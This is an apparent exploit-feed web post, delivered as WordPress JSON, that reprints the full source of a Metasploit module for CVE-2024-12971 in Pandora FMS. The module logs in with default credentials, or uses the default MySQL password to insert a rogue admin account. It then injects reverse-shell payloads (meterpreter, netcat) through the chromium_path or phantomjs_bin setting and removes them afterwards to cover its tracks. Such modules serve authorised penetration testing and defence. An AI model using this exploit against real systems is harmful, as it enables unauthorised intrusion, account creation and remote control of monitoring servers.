{"id":15134,"date":"2025-08-29T15:38:15","date_gmt":"2025-08-29T15:38:15","guid":{"rendered":"http:\/\/localhost\/?p=15134"},"modified":"2025-08-29T15:38:15","modified_gmt":"2025-08-29T15:38:15","slug":"pandora-fms-authenticated-command-injection-leading-to-rce-via-chromiumpath-or-phantomjsbin","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=15134","title":{"rendered":"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:54&#8243;,&#8221;description&#8221;:&#8221;Pandora FMS is a monitoring solution that provides full observability for your organization\\u0026#x27;s           technology. This module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:34&#8243;,&#8221;modified&#8221;:&#8221;2025-04-08T18:54:14&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-12971&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nrequire &#8216;rex\/proto\/mysql\/client&#8217;\\nrequire &#8216;digest\/md5&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include BCrypt\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  # @!attribute [rw] mysql_client\\n  # @return [::Rex::Proto::MySQL::Client]\\n  attr_accessor :mysql_client\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          Pandora FMS is a monitoring solution that provides full observability for your organization&#8217;s\\n          technology. This module exploits an command injection vulnerability in the `chromium-path` or\\n          `phantomjs-bin` directory setting at the application settings page of Pandora FMS.\\n          You need have admin access at the Pandora FMS Web application in order to execute this RCE.\\n          This access can be achieved by knowing the admin credentials to access the web application or\\n          leveraging a default password vulnerability in Pandora FMS that allows an attacker to access\\n          the Pandora FMS MySQL database, create a new admin user and gain administrative access to the\\n          Pandora FMS Web application. This attack can be remotely executed over the WAN as long as the\\n          MySQL services are exposed to the outside world.\\n          This issue affects Community, Free and Enterprise editions:\\n          &#8211; chromium-path: from v7.0NG.768 through \\u003c= v7.0NG.780\\n          &#8211; phantomjs-bin: from v7.0NG.724 through \\u003c= v7.0NG.767\\n\\n          Note: use target setting 2 \\&#8221;Tiny Reverse Netcat Command\\&#8221; for versions \\u003c= v7.0NG.738\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;h00die-gr3y \\u003ch00die.gr3y[at]gmail.com\\u003e&#8217; # Discovery, Metasploit module \\u0026 default password weakness\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2024-12971&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/pandorafms.com\/en\/security\/common-vulnerabilities-and-exposures\/&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/BJe14wkMYS\/cve-2024-12971&#8217;]\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;, &#8216;php&#8217;],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;Arch&#8217; =\\u003e [ARCH_CMD, ARCH_PHP],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;PHP Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e &#8216;php&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_PHP,\\n              &#8216;Type&#8217; =\\u003e :php_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;php\/meterpreter\/reverse_tcp&#8217;\\n              },\\n              &#8216;Payload&#8217; =\\u003e {\\n                &#8216;Encoder&#8217; =\\u003e &#8216;php\/base64&#8217;,\\n                &#8216;BadChars&#8217; =\\u003e \\&#8221;\\\\x20\\&#8221;\\n              }\\n            }\\n          ],\\n          [\\n            &#8216;Unix\/Linux Command&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :unix_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp&#8217;\\n              },\\n              &#8216;Payload&#8217; =\\u003e {\\n                &#8216;Encoder&#8217; =\\u003e &#8216;cmd\/base64&#8217;,\\n                &#8216;BadChars&#8217; =\\u003e \\&#8221;\\\\x20\\&#8221;\\n              }\\n            }\\n          ],\\n          [\\n            &#8216;Tiny Reverse Netcat Command (use THIS for versions \\u003c= v738)&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :tiny_netcat_cmd,\\n              &#8216;DefaultOptions&#8217; =\\u003e {\\n                &#8216;PAYLOAD&#8217; =\\u003e &#8216;cmd\/unix\/reverse_netcat_gaping&#8217;\\n              }\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-03-17&#8217;,\\n        &#8216;DefaultOptions&#8217; =\\u003e {\\n          &#8216;SSL&#8217; =\\u003e true,\\n          &#8216;RPORT&#8217; =\\u003e 443\\n        },\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n        }\\n      )\\n    )\\n    register_options([\\n      OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to the Pandora FMS application&#8217;, &#8216;\/pandora_console&#8217;]),\\n      OptString.new(&#8216;DB_USER&#8217;, [true, &#8216;Pandora database admin user&#8217;, &#8216;pandora&#8217;]),\\n      OptString.new(&#8216;DB_PASSWORD&#8217;, [true, &#8216;Pandora database admin password&#8217;, &#8216;Pandor4!&#8217;]),\\n      OptString.new(&#8216;DB_NAME&#8217;, [true, &#8216;Pandora database&#8217;, &#8216;pandora&#8217;]),\\n      OptPort.new(&#8216;DB_PORT&#8217;, [true, &#8216;MySQL database port&#8217;, 3306]),\\n      OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;Pandora web admin user&#8217;, &#8216;admin&#8217;]),\\n      OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;Pandora web admin password&#8217;, &#8216;pandora&#8217;])\\n    ])\\n  end\\n\\n  # MySQL login\\n  # returns true if successful else false\\n  def mysql_login(host, user, password, db, port)\\n    begin\\n      self.mysql_client = ::Rex::Proto::MySQL::Client.connect(host, user, password, db, port)\\n    rescue Errno::ECONNREFUSED\\n      print_error(&#8216;Connection refused&#8217;)\\n      return false\\n    rescue ::Rex::Proto::MySQL::Client::ClientError\\n      print_error(&#8216;Connection timedout&#8217;)\\n      return false\\n    rescue Errno::ETIMEDOUT\\n      print_error(&#8216;Operation timedout&#8217;)\\n      return false\\n    rescue ::Rex::Proto::MySQL::Client::HostNotPrivileged\\n      print_error(&#8216;Unable to login from this host due to policy&#8217;)\\n      return false\\n    rescue ::Rex::Proto::MySQL::Client::AccessDeniedError\\n      print_error(&#8216;Access denied&#8217;)\\n      return false\\n    rescue StandardError =\\u003e e\\n      print_error(\\&#8221;Unknown error: #{e.message}\\&#8221;)\\n      return false\\n    end\\n    true\\n  end\\n\\n  # MySQL query\\n  # returns query result if successful (can be nil) else returns false\\n  def mysql_query(sql)\\n    begin\\n      res = mysql_client.query(sql)\\n    rescue ::Rex::Proto::MySQL::Client::Error =\\u003e e\\n      print_error(\\&#8221;MySQL Error: #{e.class} #{e}\\&#8221;)\\n      return false\\n    rescue Rex::ConnectionTimeout =\\u003e e\\n      print_error(\\&#8221;Timeout: #{e.message}\\&#8221;)\\n      return false\\n    rescue StandardError =\\u003e e\\n      print_error(\\&#8221;Unknown error: #{e.message}\\&#8221;)\\n      return false\\n    end\\n    res\\n  end\\n\\n  # login at the Pandora FMS web application\\n  # return true if login successful else false\\n  def pandora_login(name, pwd)\\n    # first login GET request to get csrf code\\n    # in older versions of Pandora FMS this csrf code is not implemented\\n    # but for the sake of simplicity we still execute this GET request\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;vars_get&#8217; =\\u003e {\\n        &#8216;login&#8217; =\\u003e 1\\n      }\\n    })\\n    return false unless res\\u0026.code == 200\\n\\n    # scrape \\u003cinput id=\\&#8221;hidden-csrf_code\\&#8221; name=\\&#8221;csrf_code\\&#8221; type=\\&#8221;hidden\\&#8221;  value=\\&#8221;d3ec1cae43fba8259079038548093ba8\\&#8221; \/\\u003e\\n    html = res.get_html_document\\n    csrf_code_html = html.at(&#8216;input[@id=\\&#8221;hidden-csrf_code\\&#8221;]&#8217;)\\n    vprint_status(\\&#8221;csrf_code_html: #{csrf_code_html}\\&#8221;)\\n\\n    csrf_attributes = csrf_code_html\\u0026.attributes\\n    return false unless csrf_attributes\\n\\n    csrf_code = csrf_attributes[&#8216;value&#8217;]\\n    return false unless csrf_code\\n\\n    vprint_status(\\&#8221;csrf_code: #{csrf_code}\\&#8221;)\\n\\n    # second login POST request using the csrf code\\n    # csrf_code can be nil in older versions where the csrf_code is not implemented\\n    res = send_request_cgi!({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;vars_get&#8217; =\\u003e {\\n        &#8216;login&#8217; =\\u003e 1\\n      },\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;nick&#8217; =\\u003e name,\\n        &#8216;pass&#8217; =\\u003e pwd,\\n        &#8216;Login_button&#8217; =\\u003e \\&#8221;Let&#8217;s go\\&#8221;,\\n        &#8216;csrf_code&#8217; =\\u003e csrf_code\\n      }\\n    })\\n    return false unless res\\u0026.code == 200\\n\\n    res.body.include?(&#8216;id=\\&#8221;welcome-icon-header\\&#8221;&#8216;) || res.body.include?(&#8216;id=\\&#8221;welcome_panel\\&#8221;&#8216;) || res.body.include?(&#8216;godmode&#8217;)\\n  end\\n\\n  # configure directory path setting based on the path_setting chromium_path or phantomjs_bin.\\n  # return true if successful else false\\n  def configure_path_setting(path, path_setting)\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n      &#8216;keep_cookies&#8217; =\\u003e true,\\n      &#8216;vars_get&#8217; =\\u003e {\\n        &#8216;sec&#8217; =\\u003e &#8216;gsetup&#8217;,\\n        &#8216;sec2&#8217; =\\u003e &#8216;godmode\/setup\/setup&#8217;,\\n        &#8216;section&#8217; =\\u003e &#8216;general&#8217;,\\n        &#8216;pure&#8217; =\\u003e nil\\n      },\\n      &#8216;vars_post&#8217; =\\u003e {\\n        &#8216;update_config&#8217; =\\u003e 1,\\n        &#8216;remote_config&#8217; =\\u003e &#8216;\/var\/spool\/pandora\/data_in&#8217;,\\n        &#8216;general_network_path&#8217; =\\u003e &#8216;\/var\/spool\/pandora\/data_in&#8217;,\\n        &#8216;check_conexion_interval&#8217; =\\u003e 180,\\n        path_setting.to_s =\\u003e path.to_s,\\n        &#8216;update_button&#8217; =\\u003e &#8216;Update&#8217;\\n      }\\n    })\\n    return res\\u0026.code == 200\\n  end\\n\\n  # CVE-2024-12971: Command Injection leading to RCE via chromium_path or phantomjs_bin setting\\n  def execute_command(cmd, vuln_path_setting, _opts = {})\\n    case target[&#8216;Type&#8217;]\\n    when :php_cmd\\n      payload = \\&#8221;\/;php${IFS}-r\\\\\\&#8221;#{cmd}\\\\\\&#8221;;\\&#8221;\\n    when :unix_cmd\\n      payload = \\&#8221;\/;#{cmd};\\&#8221;\\n    when :tiny_netcat_cmd\\n      payload = \\&#8221;\/;#{cmd.gsub(&#8216; &#8216;, &#8216;${IFS}&#8217;)};\\&#8221;\\n    else\\n      fail_with(Failure::BadConfig, \\&#8221;Unsupported target type: #{target[&#8216;Type&#8217;]}.\\&#8221;)\\n    end\\n    vprint_status(\\&#8221;payload: #{payload}\\&#8221;)\\n    @clean_payload = true\\n    configure_path_setting(payload, vuln_path_setting)\\n  end\\n\\n  def cleanup\\n    # try to remove the payload from the path settings to cover our tracks\\n    # but do not run during the check phase\\n    super\\n    unless @check_running\\n      # Disconnect from MySQL server\\n      mysql_client.close if mysql_client\\n      # check if payload should be removed\\n      if @clean_payload\\n        if @vuln_path_setting == &#8216;chromium_path&#8217;\\n          res = configure_path_setting(&#8216;\/usr\/bin\/chromium-browser&#8217;, @vuln_path_setting)\\n        else\\n          res = configure_path_setting(&#8216;\/usr\/bin&#8217;, @vuln_path_setting)\\n        end\\n        if res\\n          print_good(\\&#8221;Payload is successful removed from #{@vuln_path_setting} path configuration.\\&#8221;)\\n        else\\n          print_warning(\\&#8221;Payload might not be removed from #{@vuln_path_setting} path configuration. Check and try to clean it manually.\\&#8221;)\\n        end\\n      end\\n    end\\n  end\\n\\n  def check\\n    @check_running = true\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;),\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    })\\n    return CheckCode::Unknown(&#8216;Received unknown response.&#8217;) unless res\\u0026.code == 200\\n    unless res.body.include?(&#8216;PandoraFMS.com&#8217;) || res.body.include?(&#8216;Pandora FMS&#8217;)\\n      return CheckCode::Safe(&#8216;Target is not a Pandora FMS application.&#8217;)\\n    end\\n\\n    html = res.get_html_document\\n    full_version = html.at(&#8216;div[@id=\\&#8221;ver_num\\&#8221;]&#8217;)\\n    if full_version.blank?\\n      @vuln_path_setting = &#8216;chromium_path&#8217;\\n      return CheckCode::Detected(\\&#8221;Could not determine the Pandora FMS version. Use exploit with #{@vuln_path_setting} RCE\\&#8221;)\\n    end\\n\\n    full_version = full_version.text\\n    version = full_version[1..].sub(&#8216;NG&#8217;, &#8221;)\\n    if version.blank?\\n      @vuln_path_setting = &#8216;chromium_path&#8217;\\n      return CheckCode::Detected(\\&#8221;Could not determine the Pandora FMS version. Use exploit with #{@vuln_path_setting} RCE\\&#8221;)\\n    end\\n\\n    version = Rex::Version.new(version)\\n    # check if version is between v7.0NG.768 and v7.0NG.780 where the chromium_path setting is vulnerable\\n    if version \\u003e= Rex::Version.new(&#8216;7.0.768&#8217;) \\u0026\\u0026 version \\u003c= Rex::Version.new(&#8216;7.0.780&#8217;)\\n      @vuln_path_setting = &#8216;chromium_path&#8217;\\n      return CheckCode::Appears(\\&#8221;Found #{@vuln_path_setting} RCE. Pandora FMS version #{full_version}\\&#8221;)\\n    end\\n    # check if version is between v7.0NG.724 and v7.0NG.767 where the phantomjs_bin setting is vulnerable\\n    if version \\u003e= Rex::Version.new(&#8216;7.0.724&#8217;) \\u0026\\u0026 version \\u003c= Rex::Version.new(&#8216;7.0.767&#8217;)\\n      @vuln_path_setting = &#8216;phantomjs_bin&#8217;\\n      return CheckCode::Appears(\\&#8221;Found #{@vuln_path_setting} RCE. Pandora FMS version #{full_version}\\&#8221;)\\n    end\\n    CheckCode::Safe(\\&#8221;Pandora FMS version #{full_version}\\&#8221;)\\n  end\\n\\n  def exploit\\n    @check_running = false\\n    @vuln_path_setting = &#8216;chromium_path&#8217; if @vuln_path_setting.nil?\\n\\n    # check if we can login at the Pandora Web application with the default admin credentials\\n    username = datastore[&#8216;USERNAME&#8217;]\\n    password = datastore[&#8216;PASSWORD&#8217;]\\n    print_status(\\&#8221;Trying to log in with admin credentials #{username}:#{password} at the Pandora FMS Web application.\\&#8221;)\\n    unless pandora_login(username, password)\\n      # connect to the PostgreSQL DB with default credentials\\n      print_status(&#8216;Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.&#8217;)\\n      mysql_login_res = mysql_login(datastore[&#8216;RHOSTS&#8217;], datastore[&#8216;DB_USER&#8217;], datastore[&#8216;DB_PASSWORD&#8217;], datastore[&#8216;DB_NAME&#8217;], datastore[&#8216;DB_PORT&#8217;])\\n      fail_with(Failure::Unreachable, \\&#8221;Unable to connect to the MySQL server on port #{datastore[&#8216;DB_PORT&#8217;]}.\\&#8221;) unless mysql_login_res\\n\\n      # add a new admin user\\n      username = Rex::Text.rand_text_alphanumeric(5..8).downcase\\n      password = Rex::Text.rand_password\\n\\n      # check the password hash algorithm by reading the password hash of the admin user\\n      # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash\\n      mysql_query_res = mysql_query(\\&#8221;SELECT password FROM tusuario WHERE id_user = &#8216;admin&#8217;;\\&#8221;)\\n      fail_with(Failure::BadConfig, &#8216;Cannot find admin credentials to determine password hash algorithm.&#8217;) if mysql_query_res == false || mysql_query_res.size != 1\\n      hash = mysql_query_res.fetch_hash\\n      if hash[&#8216;password&#8217;].match(\/^\\\\$2.\\\\$\/)\\n        password_hash = Password.create(password)\\n      else\\n        password_hash = Digest::MD5.hexdigest(password)\\n      end\\n      print_status(\\&#8221;Creating new admin user with credentials #{username}:#{password} for access at the Pandora FMS Web application.\\&#8221;)\\n      mysql_query_res = mysql_query(\\&#8221;INSERT INTO tusuario (id_user, password, is_admin) VALUES (\\\\&#8217;#{username}\\\\&#8217;, \\\\&#8217;#{password_hash}\\\\&#8217;, &#8216;1&#8217;);\\&#8221;)\\n      fail_with(Failure::BadConfig, \\&#8221;Adding new admin credentials #{username}:#{password} to the database failed.\\&#8221;) if mysql_query_res == false\\n\\n      # log in with the new admin user credentials at the Pandora FMS Web application\\n      print_status(\\&#8221;Trying to log in with new admin credentials #{username}:#{password} at the Pandora FMS Web application.\\&#8221;)\\n      fail_with(Failure::NoAccess, &#8216;Failed to authenticate at the Pandora FMS application.&#8217;) unless pandora_login(username, password)\\n    end\\n    print_status(&#8216;Succesfully authenticated at the Pandora FMS Web application.&#8217;)\\n\\n    # storing credentials at the msf database\\n    print_status(&#8216;Saving admin credentials at the msf database.&#8217;)\\n    store_valid_credential(user: username, private: password)\\n\\n    print_status(\\&#8221;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}\\&#8221;)\\n    case target[&#8216;Type&#8217;]\\n    when :unix_cmd, :php_cmd, :tiny_netcat_cmd\\n      execute_command(payload.encoded, @vuln_path_setting)\\n    else\\n      fail_with(Failure::BadConfig, \\&#8221;Unsupported target type: #{target[&#8216;Type&#8217;]}.\\&#8221;)\\n    end\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/http\/pandora_fms_auth_rce_cve_2024_12971.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.6,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:H\/UI:N\/VC:H\/SC:L\/VI:H\/SI:L\/VA:L\/SA:L\/S:N\/AU:Y\/U:Green\/R:U\/V:C\/RE:L&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/http\/pandora_fms_auth_rce_cve_2024_12971\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:54&#8243;,&#8221;description&#8221;:&#8221;Pandora FMS is a monitoring solution that provides full observability for your organization\\u0026#x27;s technology. This module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:34&#8243;,&#8221;modified&#8221;:&#8221;2025-04-08T18:54:14&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Pandora FMS authenticated command injection leading to RCE via chromium_path&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,15,169,13,7,11,5],"class_list":["post-15134","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=15134\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:54&#8243;,&#8221;description&#8221;:&#8221;Pandora FMS is a monitoring solution that provides full observability for your organizationu0026#x27;s technology. This module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:34&#8243;,&#8221;modified&#8221;:&#8221;2025-04-08T18:54:14&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Pandora FMS authenticated command injection leading to RCE via chromium_path...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=15134\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-29T15:38:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15134#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15134\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971-\",\"datePublished\":\"2025-08-29T15:38:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15134\"},\"wordCount\":2517,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.6\",\"exploit\",\"HIGH\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15134#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15134\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15134\",\"name\":\"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-29T15:38:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15134#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=15134\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=15134#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 